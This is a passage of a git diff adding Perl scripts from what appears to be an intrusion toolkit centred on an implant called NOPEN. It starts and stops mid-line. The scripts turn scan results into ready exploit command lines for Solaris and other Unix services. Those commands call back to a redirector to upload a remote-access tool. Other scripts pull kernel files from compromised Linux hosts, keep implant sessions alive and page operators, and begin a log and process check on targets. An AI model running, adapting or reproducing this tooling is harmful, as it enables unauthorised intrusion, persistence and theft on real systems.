${color}$what$COLOR_NORMAL\n" ; +} +sub getinput { + local($prompt,$default,@allowed) = @_; + local($ans,$tmp,%other) = (); + $other{"Y"} = "N" ; $other{"N"} = "Y" ; + if ($other{$default} and ! (@allowed)) { + push(@allowed,$other{$default}) ; + } + $tmp = $default; + if (chop($tmp) eq " ") { + #damn ^M's in script files + $default = $tmp; + } + SUB: while (1) { + print STDERR $prompt; + if ($default) { + print STDERR " [$default] "; + } else { + print STDERR " "; + } + chomp($ans = ); + $ans = $default if ( $ans eq "" ); + last SUB if ($#allowed < 0) ; + foreach ($default,@allowed) { + last SUB if $ans =~ /^$_/i ; + } + } + return $ans; +} # end sub getinput + +sub builddb { + # output of "..." when processing .db file will not show up + # without select STDERR for whatever reason... + select STDERR ; + mydie("Cannot open $dbfile") unless (open(DB,"> $dbfile")) ; + progprint("Building $dbfile:\n"); + print DB "Targets Scanned: $scannedtargets\n"; + my %uploadports = () ; + my %doneit = () ; + foreach $target (@scannedtargets) { + next if ($target eq "127.0.0.1") ; + chomp($cmportudp = `jparsescan -f $scanfile -p 100068 -i $target -t udp`) ; + chomp($cmporttcp = `jparsescan -f $scanfile -p 100068 -i $target -t tcp`) ; + chomp($bsport = `jparsescan -f $scanfile -p 100232 -i $target`) ; + chomp($hostname = `jparsescan -f $scanfile -n $target`) ; + chomp($redirip = `jparsescan -f $scanfile -r $target`) ; + chomp($xwin = `jparsescan -f $scanfile -x $target`) ; + chomp($gs = `jparsescan -f $scanfile -g $target`) ; + chomp($solver = `jparsescan -f $scanfile -o $target`) ; + chomp($arch = `jparsescan -f $scanfile -a $target`) ; + if ($gs and ! $arch) { + $arch = "sparc.sun.solaris" if ($gs =~ /ultra|sparc|blade/i) ; + } + $hardware = "" ; + if ($gs =~ /ultra|sparc|blade/i) { + ($hardware,$more) = $gs =~ /(ultra|sparc|blade)(\S*)/i ; + $hardware .= $more ; + } + my %sploits = () ; + my $done = 0 ; + until ($done) { + #note: $arch will have value iff target is Solaris and determines sparc vs. i386 + # get random upload port for this one not already used + while (1) { + chomp($uploadport = `mkrandom -n 2>/dev/null`) ; + last unless $uploadport ; # mkrandom might not be there + next if (`netstat -an | grep $uploadport.*LISTEN`) ; + next if ( $uploadports{$uploadport}++ ) ; + last ; + } + # reset $targetsploit for this run through + my $targetsploit = "" ; + if ($bsport and $hostname and $redirip and ! $doneit{"$target$bsport$hostname$redirip"}++) { + $sploits{"BS"}++ ; + $targetsploit = "${target}BS" ; + $arch{$targetsploit} = $arch ; + $arch{$target} = $arch ; + ($bsport{$target},$hostname{$target}) = + ($bsport,$hostname); + + $prompt{$targetsploit} = "can do BS ($bsport $hostname $redirip $arch):\t$target" ; + # Sploit string for BS with nopen callback +# $sploitstr{$targetsploit} = "bs.auto -c 127.0.0.1 $hostname $bsport $workdir $ratname $redirip $uploadport" ; + $sploitstr{$targetsploit} = "bs.auto -c -i 127.0.0.1 -u $bsport -D $workdir -r $ratname -l $redirip -n $uploadport $hostname" ; + $hitthese{"$targetsploit"} = $target ; + next ; + } + if ($gs and ! $doneit{"$target$gs"}++) { + $sploits{"GS"}++ ; + $targetsploit = "${target}GS" ; + $osver{$targetsploit} = "SunOS $gs" ; + my $which = "-g sneer" if ( $gs =~ /5.6/ or + $solver =~ /sol2.[456]/i) ; + $which = "-g frowns" if ($gs =~ / -r /); + if ($gs eq "yes ") { + $prompt{$targetsploit} = "can do GS:\t$target" ; + } else { + $prompt{$targetsploit} = "can do GS ($gs):\t$target" ; + } + ($gs{$target}) = + ($gs) ; + $t = "gs.auto $useksh $which -c -i 127.0.0.1 -l $redirip -n $uploadport -r $ratname -D $workdir" ; + $t =~ s/ +/ /g ; + $sploitstr{$targetsploit} = $t ; + $hitthese{"$targetsploit"} = $target ; + next ; + } + if (($cmportudp or $cmporttcp) and ! $doneit{"$target$cmportudp$cmporttcp"}++) { + $sploits{"CM"}++ ; + $targetsploit = "${target}CM" ; + my ($targettype) = () ; + if ( "$gs$hardware" =~ /blade/i or "$gs$hardware" =~ /ultra-60/i ) { + $targettype = "-T 0" ; # default to 2.8=0 + $targettype = "-T 1" if ( $gs =~ /5.9/) ; + } elsif ( "$gs$hardware" =~ /ultra-30/i ) { + $targettype = "-T 2" ; # default to 2.6-8=2 + $targettype = "-T 4" if ( $gs =~ /5.9/) ; + } elsif ( "$gs$hardware" =~ /ultra/i ) { + $targettype = "-T 2" ; + } elsif ($arch eq "i386.pc.solaris" or $arch{$target} eq "i386.pc.solaris") { + $targettype = "-T 5" ; # 5 works for 2.6-2.7 i386 + $targettype = "-T 6" if ( $gs =~ /5.8/) ; + } elsif ($hardware =~ /sparcstation/i ) { + $targettype = "-T 3" ; + } elsif ($hardware =~ /sco/i ) { + $targettype = "-T 9" ; +# Make no guess otherwise +# } elsif ($arch eq "sparc.sun.solaris" or $arch{$target} eq "sparc" ) { +# $targettype = "-T 4" ; + } + $prompt{$targetsploit} = "can do CM via udp/$cmportudp:\t$target" if $cmportudp ; + $prompt{$targetsploit} = "can do CM via tcp/$cmporttcp:\t$target" unless $prompt{$targetsploit} ; + ($cmportudp{$target}) = ($cmportudp) ; + ($cmporttcp{$target}) = ($cmporttcp) ; + if ($cmportudp) { + $t = "cmsex.auto $targettype $useksh -u $cmportudp -i 127.0.0.1 -l $redirip -n $uploadport -r $ratname -D $workdir -c" ; + } else { # stuck with tcp then + $t = "cmsex.auto $targettype $useksh -t $cmporttcp -i 127.0.0.1 -l $redirip -n $uploadport -r $ratname -D $workdir -c" ; + } + $t =~ s/ +/ /g ; + $sploitstr{$targetsploit} = $t ; + $hitthese{"$targetsploit"} = $target ; + next ; + } + if ($xwin and ! $doneit{"$target$xwin"}++) { + $sploits{"YS"}++ ; + $targetsploit = "${target}YS" ; + $arch{$targetsploit} = $arch{$target} ; + if ($xwin =~ /:/) { + ($xhostname) = $xwin =~ /([^:]*):/ ; + } else { + ($xhostname) = $xwin =~ /([^+]*)+/ ; + } + $prompt{$targetsploit} = "can do YS ($xwin):\t$target" ; + ($xwin{$target},$xhostname{$target}) = + ($xwin,$xhostname) ; + $sploitstr{$targetsploit} = "ys.auto $useksh -i 127.0.0.1 -l $redirip -n $uploadport -r $ratname -D $workdir -c" ; + $hitthese{"$targetsploit"} = $target ; + next ; + } + $done++ ; + if ($arch) { + $arch{$target} = $arch unless $arch{$target} ; + } + } # end until $done + next unless (keys %sploits) ; + foreach $sploit (keys %sploits) { + $targetsploit = "$target$sploit" ; + if ($arch) { + $arch{$targetsploit} = $arch unless $arch{$targetsploit} ; + } + $redirip{$targetsploit} = $redirip ; + # print($prompt{$targetsploit}."\n") ; + print(".") ; + print DB << "EOF" ; +$target +$sploit +$prompt{$targetsploit} +$arch{$targetsploit} +$redirip{$targetsploit} +$hostname{$target} +$bsport{$target} +$osver{$targetsploit} +$gs{$target} +$xwin{$target} +$xhostname{$target} +$sploitstr{$targetsploit} +EOF + $sploits{$target} .= $sploit ; + } # end foreach $sploit + } # end foreach $targets + close(DB); + print("\n\n") ; + select STDOUT ; +} # end builddb + +sub readdb { + mydie("Cannot open $dbfile") unless (open(DB,"< $dbfile")) ; + @vulnerabletargets = () ; + select STDERR ; + %vulnerabletargets = () ; + progprint("Reading $dbfile:\n\n"); + ($scannedtargets) = =~ /(\d+)$/ ; + until (eof DB) { + chomp($target = ) ; + push(@vulnerabletargets,$target) unless $dbtargets{$target}++; + $vulnerabletargets{$target}++ ; + chomp($sploit = ) ; + $sploits{$sploit}++ ; + $targetsploit =$target.$sploit ; + chomp($prompt{$targetsploit} = ) ; + $hitthese{$targetsploit} = $target ; + chomp($arch{$targetsploit} = ) ; + $arch{$target} = $arch{$targetsploit} ; + chomp($redirip{$targetsploit} = ) ; + chomp($hostname{$target} = ) ; + chomp($bsport{$target} = ) ; + chomp($osver{$targetsploit} = ) ; + chomp($gs{$target} = ) ; + if ($gs{$target} and ! $arch{$targetsploit}) { + $arch{$targetsploit} = "sparc.sun.solaris" if ($gs{$target} =~ /ultra|sparc/i) ; + } + chomp($xwin{$target} = ) ; + chomp($xhostname{$target} = ) ; + chomp($sploitstr{$targetsploit} = ) ; + $sploits{$target} .= $sploit ; + $hostname{$target} = $xhostname{$target} unless $hostname{$target}; +# print($prompt{$targetsploit}."\n") ; + $prompt{$sploit}.=$prompt{$targetsploit}."\n" ; + } + close(DB); + my $output = "Targets scanned but not vulnerable: " ; + foreach (@scannedtargets) { + $scannedtargets{$_}++; + $output .= "\n\t$_" unless ($vulnerabletargets{$_}) ; + } + progprint($output."\n\nTargets scanned and possibly vulnerable:\n") ; + foreach (keys %sploits) { + print $prompt{$_}."\n" if (length($_) == 2) ; + } + $vulnerabletargets = @vulnerabletargets ; + progprint("\nTotal targets scanned: $scannedtargets"); + progprint("Targets possibly vulnerable: $vulnerabletargets"); + select STDOUT ; +} #readdb + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +} # end sub ipcheck diff --git a/Linux/etc/autokernelstuff.linux b/Linux/etc/autokernelstuff.linux new file mode 100755 index 0000000..df1a2ba --- /dev/null +++ b/Linux/etc/autokernelstuff.linux @@ -0,0 +1,103 @@ +#!/usr/bin/env perl +## NOPEN autoport script to retreive a bunch of kernel stuff +$VER="1.0.0.7" ; +#use File::Basename qw(basename dirname); +use File::Basename ; +myinit(); +####################################### +# Get the kernel files using nopenlss() +####################################### +sub dokernelget { + my @filestoget=(); + + ($unr) = doit("uname -r"); + chomp($unr); + $unr =~ s/smp$//; + + mydie("Error: uname -r produced invalid output") + unless ($unr); + + foreach (@getthese) { + if ( /UNR/) { + s/UNR/$unr/g; + push(@filestoget," $_"); + s/$unr/${unr}smp/g; + } + push(@filestoget," $_"); + } + # Show the files to the user and get them. + nopenlss("-UFQzZG$forcepull2",@filestoget); + return 1; +} + +dokernelget(); + +# End with true value as we require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs kernelstuff @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs kernelstuff"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + mydie("Not a Linux machine!") if (!$linuxtarget); + + unless ($forcepull2 eq "Y") { + $forcepull2 = (grep /^Y$/ , @ARGV) ? "Y" : ""; + } + + @getthese = + ( + "/usr/src/linux*/.config", + "/proc/config.gz", + "/boot/System.map-UNR", + "/boot/vmlinu*-UNR*", + "/boot/config-UNR*", + "/boot/initrd*-UNR*", +# "/lib//modules/UNR/kernel/net/", + ); + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog + +$prog determines the remote kernel version via \`uname -r\`, +using that (less any trailing \"smp\") where you see UNR shown here +to download the following (so both up and smp versions are downloaded): + +"; + foreach (@getthese) { + $gsusagetext .= " $_\n"; + } + $gsusagetext .= " + +"; + usage() if ($opt_h or $opt_v) ; +# $destdir = "$opdown/$nopen_rhostname/kernel"; + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit diff --git a/Linux/etc/autolive b/Linux/etc/autolive new file mode 100755 index 0000000..1f6b0c8 --- /dev/null +++ b/Linux/etc/autolive @@ -0,0 +1,429 @@ +#!/usr/bin/env perl +# +# INPUT: $opetc/autolive.conf +# +# This script makes sure its parent NOPEN window stays connected to its +# client in the wild by doing periodic -w commands. If said -w produces +# no output, someone gets beeped. +# +# This script will also run "gs autoextras" if the file $opetc/gs.autoextras +# exists. If the autoextras stuff only needs done once, gs.autoextras should +# rm -f (or rename) itself. +# +# Other stuff: +# +# Q1) What should create a autolive.die file? +# A2) An operator that wants control back of the keepalive window. +# Q2) How do I change the configuration of autolive? +# A2) Edit the .conf file as needed, save it and then (cp not mv): +# cp autolive.conf autolive.conf.new +# Q3) A background process that finds something it wants this +# NOPEN connection to do something should: +# 1) first create a $opetc/gs.autoextras NOGS script which: +# A) Does whatever it wants NOPEN to do (pull logs?) +# B) rm -f itself (unless you want it done every $wait seconds +# C) DO NOT Start up autolive again.(not needed) +# 2) and then touch /current/etc/autolive.doone (or remove +# autolive.doneone). This forces current autolive to stop +# sleeping, build a new nopen_auto.$nopen_mypid script which +# will first call -gs autoextras and then do another -gs keepalive. +# + + +# These vars are set only here, not reset in loop below +$VER="1.0" ; +$nopen_mypid = $ENV{NOPEN_MYPID} ; +$nopen_mylog = $ENV{NOPEN_MYLOG} ; +$nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; +$COLOR_SUCCESS="\033[1;32m"; +# note: $COLOR_FAILURE is OK to use in myprint--it's different red than red background +$COLOR_FAILURE="\033[1;31m"; +$COLOR_WARNING="\033[1;33m"; +$COLOR_NORMAL="\033[0;39m"; +$COLOR_NOTEBAD="\033[0;34m"; +$COLOR_NOTE="\033[1;95m"; +$COLOR_NOTE="\033[7;40m"; +$COLOR_NOTE="\033[1;97m"; +select STDERR ; +$| = 1 ; +select STDIN ; +$| = 1 ; +use File::Basename ; +$prog = basename $0 ; +$opdir = "/current" ; +$opetc = "$opdir/etc" ; +$opdown = "$opdir/down" ; +$opbin = "$opdir/bin" ; +$checkfile = "$opdown/keepalive.output" ; +($lastuptime,$lastupstr) = upmin() ; +$| = 1 ; +$xargs = "-title \"tail -f autolive.log.$nopen_mypid\" -bg darkred -fg white -geometry 96x49+668-46" ; + +# Defaults that can be reset in loop below via parse (require dont work) +# Both $wait and $allowfail must be multiples of $delay +$delay = 5 ; # secs per sleep loop +$wait = 1500 ; # secs (25 min=1500secs) to stay idle +$allowfail = 180 ; # secs after which failure sends out page +@pagernumbers=("3199",) ;# beepers to call--add more strings to call more than one +$okcode = "0055" ; # Code to send for all is OK +$failcode = "0055-911" ; # Code to send for problem +$modem = "modem" ; # /dev/$modem is used to dial pagers +# GMT at which to send all is OK beep(s) (2130EST,2230EDT) +@positivealert = ("02:30",) ; +$defdelay = 5 ; +$defwait = 1500 ; +$defallowfail = 180 ; # secs after which failure sends out page +# beepers to call--add more strings to call more than one +@defpagernums = ("3199") ; +$defbeeper = "@defpagernums" ; +$defokcode = "0055" ; # Code to send for all is OK +$deffailcode = "0055-911" ; # Code to send for problem +$defmodem = "modem" ; # /dev/$modem is used to dial pagers +@defpositivealert = ("02:30",) ; # GMT at which to send all is OK beep (2130EST,2230EDT) +#chomp($defbeeper = ) ; +#myprint("DBG: \$defbeeper=$defbeeper") ; +$waitmin = $wait / 60 ; +myintro() ; +progress("PASTABLES\n=========\n\n"); +progress("# This one stops the keepalive: -lsh touch /current/etc/autolive.die\n\n"); +progress("# This one loops it once: -lsh touch /current/etc/autolive.doone\n\n"); +unlink("$opetc/autolive.die") ; +`touch $opdown/autolive.log.$nopen_mypid` if ($nopen_mypid); +unless (`ps -efwwww | grep xterm.*tail.*autolive.log.$nopen_mypid | grep -v grep`) { + #child does xterm tail unless one is already running + unless(fork) { + close(STDIN) ; close(STDOUT) ; close(STDERR) ; + # child does xterm + exec("xterm $xargs -e tail -f $opdown/autolive.log.$nopen_mypid") ; + exit ; # no need really since exec above + } +} +$timepassed = 0 ; +until (-e "$opetc/autolive.die") { + $newstuff = 0 ; + # Do we have new configs or do we have none at all? + if (-f "$opetc/autolive.conf.new") { + $newstuff = 1 ; + rename("$opetc/autolive.conf.new","$opetc/autolive.conf") ; + } + if (-f "$opetc/autolive.conf") { + # we ignore if parse says this is new unless we've parsed + # once with this instance already (i.e. $delay loop'd before) + my $tmp = parse("$opetc/autolive.conf") ; + $newstuff += $tmp if ($timepassed > $delay) ; + if ($newstuff) { + myprint("Using new settings from $opetc/autolive.conf[.new]:\n". + `cat $opetc/autolive.conf`); + $newstuff = 0 ; + } + } else { + # A deleted conf file means reset to defaults and recreate it but prompt + # for beeper number in a popped up xterm. + if (open(OUTPL,"> $opbin/getinput.pl")) { + print OUTPL <<"EOF"; +#!/usr/bin/env perl +unlink("/tmp/getinput.pl.output") ; +\$defbeeper = getinput("What beeper #(s) are we paging with problems (space delimited if two or more)?",$defbeeper) ; +open(OUTPUT,"> /tmp/getinput.pl.output.tmp") ; +print OUTPUT "\$defbeeper\n"; +close(OUTPUT) ; +rename("/tmp/getinput.pl.output.tmp","/tmp/getinput.pl.output") ; + +sub getinput() { + local(\$prompt,\$default,\@allowed) = \@_; + local(\$ans,\$tmp,%other) = (); + \$other{"Y"} = "N" ; \$other{"N"} = "Y" ; + if (\$other{\$default} and ! (\@allowed) ) { + push (\@allowed,\$other{\$default}) ; + } + \$| = 1 ; + \$tmp = \$default; + if (chop(\$tmp) eq "\r") { + #damn ^M's in script files + \$default = \$tmp; + } + SUB: while (1) { + print \$prompt; + if (\$default) { + print " [\$default] "; + } else { + print " "; + } + chomp(\$ans = ); + \$ans = \$default if ( \$ans eq "" ); + if (\$#allowed >= 0) { + foreach(\$default,\@allowed) { + last SUB if \$ans =~ /^\$_/i ; + } + } else { + last SUB ; + } + } + return \$ans; +} +EOF + close(OUTPL) ; + chmod(0777,"$opbin/getinput.pl") ; + unless(fork) { #child does + unlink("/tmp/getinput.pl.output") ; + exec("xterm $xargs -geometry 199x69+32+24 -e $opbin/getinput.pl") ; + } + } + myprint("Using default settings (and creating $opetc/autolive.conf):") ; + sleep 1 until (-e "/tmp/getinput.pl.output") ; + sleep 1 ; + chomp($tmp = `cat /tmp/getinput.pl.output`); + unlink("/tmp/getinput.pl.output") ; + @defpagernumbers = split(/\s+/,$tmp) if ($tmp) ; + if (open(OUT,"> $opetc/autolive.conf")) { + print OUT "#!/usr/bin/env perl +# Both \$wait and \$allowfail must be multiples of \$delay +\$delay = $defdelay ; # secs per sleep loop +\$wait = $defwait ; # secs (25 min=1500secs) to stay idle +\$allowfail = $defallowfail ; # secs after which failure sends out page +\$okcode = \"$defokcode\" ; # Code to send for all is OK +\$failcode = \"$deffailcode\" ; # Code to send for problem +\$modem = \"$defmodem\" ; # /dev/\$modem is used to dial pagers +\# beepers to call--add more strings to call more than one +\@pagernumbers = (" ; + print OUT "\"$_\"," foreach (@defpagernumbers) ; + print OUT ") ;\n"; + print OUT "\@positivealert = (" ; + print OUT "\"$_\"," foreach (@defpositivealert) ; + print OUT ") ;\n1;\n"; + close(OUT) ; + } else { + die("\a\aFATAL ERROR: cannot open $opetc/autolive.conf ($!)") ; + } + close(STDIN) ; close(STDOUT) ; close(STDERR) ; + myprint(`cat $opetc/autolive.conf`) ; + } + + # Any tasks to run? + @extras = () ; + progress("Running some extras:\n\n") if @extras ; + foreach (@extras) { + # run these and wait for them to return + progress("Running this: $_\n"); + system("$_") if (-x "$_") ; + } + + # Time to send positive page maybe? + ($lastposalert) = + `grep -i "sending positive alert" $opdown/autolive.log.$nopen_mypid | tail -1 | cut -f 1,2,3 -d ":"` =~ + /^([\d:-]+):\d\dZ/ ; # not seconds + chomp(my $now = `date -u "+%C%y%m%d-%R"`) ; + foreach $alert (@positivealert) { + my $when = $now ; + $when =~ s/-\d\d:\d\d/-$alert/ ; +# myprint("DBG: \$when=$when \$now=$now \$lastposalert=$lastposalert"); +# myprint("DBG: \$when gt \$lastposalert") if ($when gt $lastposalert) ; +# myprint("DBG: \$when le \$now") if ($when le $now) ; + if ($when le $now and $when gt $lastposalert) { + # need positive alert sent out + foreach $beeper (@pagernumbers) { + myprint("${COLOR_NOTE}Sending positive alert code $okcode to beeper $beeper") ; + system("pager --modem=$modem --code=\"$okcode\" $beeper 2>&1 >> $opdown/pager.log.$nopen_mypid&") ; + } + } + } + + # start looping + if ($timepassed >= $wait or ! -e "$opetc/autolive.doneone" or -e "$opetc/autolive.doone") { + progress("\n"); + unless (-e "$opetc/autolive.doneone") { + myprint("${COLOR_NOTE}pinging since there was no file $opetc/autolive.doneone"); + `touch $opetc/autolive.doneone` ; + } + unlink("$opetc/autolive.doone"); + myprint("${COLOR_WARNING}ping $lastupstr (up $lastuptime mins last time)"); + my $extras = "" ; + if (-e "$opetc/gs.autoextras") { + $extras .= "# Found extra commands to do in gs.autoextras\n-gs autoextras\n" ; + myprint("Found $opetc/gs.autoextras to run."); + } + if (-e "$opetc/autoget.$nopen_rhostname" and -x "$opetc/autoget") { + $extras .= "# Found autoget script to run\n-lsh $opetc/autoget keepalive ; sleep 1\n"; + myprint("Found autoget script to run:".`cat $opetc/autoget.$nopen_rhostname`) ; + # autoget will call -gs keepalive again so we don't have to + $nextkeepalive = "" ; + } else { + $nextkeepalive = "-gs keepalive\n" ; + } + if (open(OUT,">> $opetc/nopen_auto.tmp.$$")) { +#this no longer needed--noclient wipes nopen_auto.$$ when it uses it +#-lsh mv $opetc/nopen_auto.$nopen_mypid $opetc/nopen_auto.$nopen_mypid.last + print OUT "#NOGS +${extras}$nextkeepalive"; + close(OUT) ; + } else { + die("\a\aFATAL ERROR: cannot open $opetc/nopen_auto.tmp.$$ ($!)") ; + } + # Here we fork. Child checks that expected -w output arrives, acts if not. + # Parent exits allowing the nopen_auto to take place. + close(STDIN); close(STDOUT); +# close(STDERR); + if (fork) { + my $wait=0 ; + #hmmmm---if this does exist do we maybe want to exit all autolives? + #Assume this guy will start us up agian if he wants? + while (-e "$opetc/nopen_auto.$nopen_mypid") { + sleep 2 ; + $wait += 2 ; + if ($wait > 60) { + #page someone here + mydie("Cannot create nopen_auto.$nopen_mypid. Have to page someone"); + } + } # end while dont clobber someone else's nopen_auto file + rename("$opetc/nopen_auto.tmp.$$","$opetc/nopen_auto.$nopen_mypid") ; + exit ; + } +# # first time through don't bother looking +# exit unless (-e "$checkfile") ; + # This is child, needs to check on far end output + my $slept = 0 ; + my $failsent = 0 ; + my $skiponce = 0 ; + while (1) { + sleep $delay ; + $slept += $delay ; + my ($uptime,$uptimestr) = upmin() ; + if ($uptime > $lastuptime) { + myprint("${COLOR_SUCCESS}pong $uptimestr (up $uptime mins > $lastuptime)") ; + if ($failsent) { + # We already beeped with failure--now send all clear twice + foreach $beeper (@pagernumbers) { + myprint("${COLOR_NOTE}Sending positive alert code $okcode to beeper $beeper") ; + system("pager --modem=$modem --code=\"$okcode\*$okcode\" $beeper 2>&1 >> $opdown/pager.log.$nopen_mypid&") ; + system("pager --modem=$modem --code=\"$okcode\*$okcode\" $beeper 2>&1 >> $opdown/pager.log.$nopen_mypid&") ; + } + } + exit ; + } + if ($slept > 0) { + myprint("${COLOR_WARNING}No response for $slept seconds...") unless ($slept % 30 or -e "$opetc/NOPEN_grepping") ; + unless ($slept % $allowfail) { # on multiples of $allowfail + unless ($slept > 2*$allowfail) { + # So we send two failures here (skip first if NOPEN_grepping) + unless (-e "$opetc/NOPEN_grepping" or $skiponce++) { + myprint("${COLOR_WARNING}No response for $slept seconds...") if (-e "$opetc/NOPEN_grepping"); + foreach $beeper (@pagernumbers) { + myprint("${COLOR_WARNING}Sending failure alert code $failcode to beeper $beeper--") ; + system("pager --modem=$modem --code=\"$failcode\" $beeper 2>&1 >> $opdown/pager.log.$nopen_mypid &") ; + } + $failsent ++ ; + } + } else { + # now send a final one and exit + foreach $beeper (@pagernumbers) { + myprint("${COLOR_WARNING}Sending failure alert code $failcode to beeper $beeper and exiting") ; + exec("pager --modem=$modem --code=\"911-$failcode\" $beeper 2>&1 >> $opdown/pager.log.$nopen_mypid &") unless fork ; + } + exit ; # above forks one child per each in @pagernumbers + } + } + } + } + } # end if ($timepassed >= $wait) + + sleep $delay ; + $timepassed += $delay ; + my $tmptimeleft = secstostr($wait - $timepassed) ; + progress("\rTime left in this loop:\t${tmptimeleft} "); +} +progress("\n\n"); +myprint("Dying since -e $opetc/autolive.die") ; +unlink("$opetc/autolive.die"); + +sub mydie { + myprint("\a${COLOR_FAILURE}@_") if ($nopen_mypid) ; + sleep 1 ; + die("\a${COLOR_FAILURE}@_${COLOR_NORMAL}\n") ; +} + +sub myprint { + open(NEWOUT,">> $opdown/autolive.log.$nopen_mypid") ; + select NEWOUT ; + $| = 1 ; + chomp(my $date = `date -u \"+%C%y%m%d-%R:%SZ\"`) ; + print "$date\[$$\] @_$COLOR_NORMAL\n"; + close(NEWOUT) ; + select STDOUT ; +} + +sub upmin { + chomp(my $str = `grep Uptime: $checkfile 2>/dev/null | tail -1`) ; + $str =~ s/^\D*// ; + ($days,$hrs,$mins,$secs) = $str =~ /(\d+)\D+(\d+):(\d+):(\d+)/ ; + return (int(100*($days * 24 * 60 + $hrs * 60 + $mins + ($secs / 60)))/100,$str) ; +} + +sub myintro { + return if (-e "$opetc/autolive.intro") ; + `touch $opetc/autolive.intro` ; + $| = 1 ; + chomp(my $date = `date -u \"+%C%y%m%d-%R:%SZ\"`) ; + print("$date\[$$\] autolive Version $VER + +autolive will now start an infinite loop...will only exit when either: + 1) it is killed (sloppy--use #2 if you need this window back); + 2) file called $opetc/autolive.die is created; or + 3) when $waitmin minutes pass + +autolive will reload its settings from $opetc/autolive.conf.new +if it ever exists (then rename it to just autolive.conf). This is +how to change settings, e.g. the beeper # to call. + +autolive will now sleep for $wait seconds ($waitmin minutes), after +which it will run -gs keepalive, which calls autolive again when it has +decided the far end is still up.\n"); + +print(" +Current autolive.conf file (if any):\n$COLOR_NOTE".`cat $opetc/autolive.conf 2>&1`. +"$COLOR_NORMAL +See xterm that just popped up for all further output until something +kills this autolive with \"touch $opetc/autolive.die\". +${COLOR_FAILURE}=================$COLOR_NORMAL +") ; +$notdoingitthisway = "After that, autolive will call autolive.* in alpha-sorted order +for all such autolive.* in $opetc, if any."; + +} +sub parse { + local ($varfile) = (@_) ; + local $name, $val ; + my @old = ($delay,$wait,$allowfail,"@pagernumbers",$okcode,$failcode,$modem,"@positivealert") ; + do $varfile ; + $waitmin = $wait / 60 ; # $wait might have just changed + # return 1 if this is different than what we had + my @new = ($delay,$wait,$allowfail,"@pagernumbers",$okcode,$failcode,$modem,"@positivealert") ; + # 0..2 are ints + for (my $i = 0 ; $i < 3 ; $i++) { + return 1 unless ($old[$i] == $new[$i]) ; + } + # 3+ are strings + for (my $i = 3 ; $i < $#new ; $i++) { + return 1 unless ($old[$i] eq $new[$i]) ; + } + return 0 ; +} + +sub progress { + # stuff sent to STDERR not logged in /current/down/cmdout/* + print STDERR ("@_"); +} + +sub secstostr { + local ($total) = (@_) ; + my $secs = $total % 60 ; + $total -= $secs; + my $mm = ($total/60) %60 ; + $total -= $mm * 60 ; + my $hh = (($total/60) / 60) % 24 ; + $total -= $hh * 60 * 60 ; + my $dd = (($total/60) / 60) / 24 ; + my $mmout = "${mm}m " if $mm > 0; + my $hhout = "${hh}h " if $hh > 0; + my $ddout = "${dd}d " if $dd > 0; + return "$ddout$hhout$mmout${secs}s" ; +} diff --git a/Linux/etc/autologcheck b/Linux/etc/autologcheck new file mode 100755 index 0000000..1faf7c9 --- /dev/null +++ b/Linux/etc/autologcheck @@ -0,0 +1,1217 @@ +#!/usr/bin/env perl +## +$VER="1.8.3.7" ; + +# This can be called either via its gs.auto* script or via a require +# statement in another auto* script already in play. That script must +# set @ARGV and already have the $socket open to a NOPEN client's autoport. +# +# NOTE THOUGH: After one require (say of this script), another one of another +# similarly equipped script really confuses things...local data +# is not so local. + +# nopen seems happier with stderr in lsh runs +#select STDERR ; +$| = 1 ; +$grepregexp = "(sess_[0-9a-f]{32}|s\.[a-z0-9]{6})\$"; +myinit() ; +$targetdate=""; +my $tmpfile = "$optmp/.lssout.$nopen_rhostname.$$"; + +unlink($tmpfile); +local ($sleeppid,$sleepppid,$sleepgrep, + $output,$nopenlines,@burnoutput, + $cuppid,@cuppids,%cuppids,@cuplines, + @psoutput,$psheader, + @sleeppids,%sleeppids,@sleeplines, + @posixpids,%posixpids,@posixpts,@posixlines, + @telnetpids,%telnetpids,@telnetlines, + @uudecodepids,%uudecodepids,@uudecodelines, + @uncompresspids,%uncompresspids,@uncompresslines, + @longlines, + @posixptslines,%posixpts, + %parentpid, # key==pid value==parentpid + %psline, # key==pid value==line + ) = (); +my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport, + $remotetime,$remoteepochtime); +my $killsfile = "$opdown/$nopen_rhostname.cup.sleep.kills"; +my $pidsfile = "$opdown/$nopen_rhostname.cup.sleep.pids"; +my $wearcupmode = 1 if -e $killsfile; +if ($burnmode) { + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus(); + $logdirs .= " $targetcwd" unless ($notmp and $targetcwd =~ m,^/+tmp/*$,); + ($output,$nopenlines,@burnoutput) = doit("-lcd /current/down"); + ($output,$nopenlines,@burnoutput) = doit("-time"); + ($remotetime) = grep /Remote time according to time/,@burnoutput; + ($remotetime) = $remotetime =~ 